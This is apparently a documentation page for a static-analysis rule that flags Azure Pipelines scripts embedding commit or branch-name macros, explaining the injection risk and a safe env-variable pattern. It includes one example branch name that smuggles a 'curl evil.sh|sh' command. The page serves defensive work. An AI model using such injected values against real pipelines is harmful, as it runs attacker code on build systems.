> ## Documentation Index
> Fetch the complete documentation index at: https://loadwise.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# azure-pipelines-script-injection

> An Azure Pipelines script pastes a commit message or branch name into its text with a $(...) macro.

## What it flags

A `script:`, `bash:`, `powershell:` or `pwsh:` step, or the inline script input of a `Bash`, `CmdLine`, `PowerShell`, `PythonScript`, `AzureCLI` or `AzurePowerShell` task, whose text contains a `$(...)` macro for commit or branch text: `$(Build.SourceVersionMessage)`, `$(Build.SourceVersionAuthor)`, `$(Build.SourceBranch)`, `$(Build.SourceBranchName)`, `$(System.PullRequest.SourceBranch)` and `$(System.PullRequest.SourceBranchName)`, in any letter case. `${{ variables['Build.SourceBranch'] }}` and `${{ variables['Build.SourceBranchName'] }}` count too. The agent replaces macros in the script text before the shell runs it, so quoting does not help: a branch named `x";curl evil.sh|sh;"` becomes commands. Steps are found in `steps:` at any level, including stages, jobs and deployment strategies, in `azure-pipelines.yml` and `.azure-pipelines/*.yml`. [Azure DevOps docs](https://learn.microsoft.com/azure/devops/pipelines/security/inputs)

Not flagged: the same macro under `env:` or `displayName:`, the environment variable read by the shell (`$BUILD_SOURCEBRANCHNAME`), task `arguments:`, inputs of other tasks, and template expressions that call a function such as `eq()`. Template parameters are not checked, because whoever can set them can usually edit the pipeline.

```yaml theme={null}
- bash: echo "$BRANCH"
  env:
    BRANCH: $(Build.SourceBranchName)
```

## Configuration

Set the rule to `"off"` in `loadwise.config.json` to drop its findings:

```json theme={null}
{
  "rules": { "azure-pipelines-script-injection": "off" }
}
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.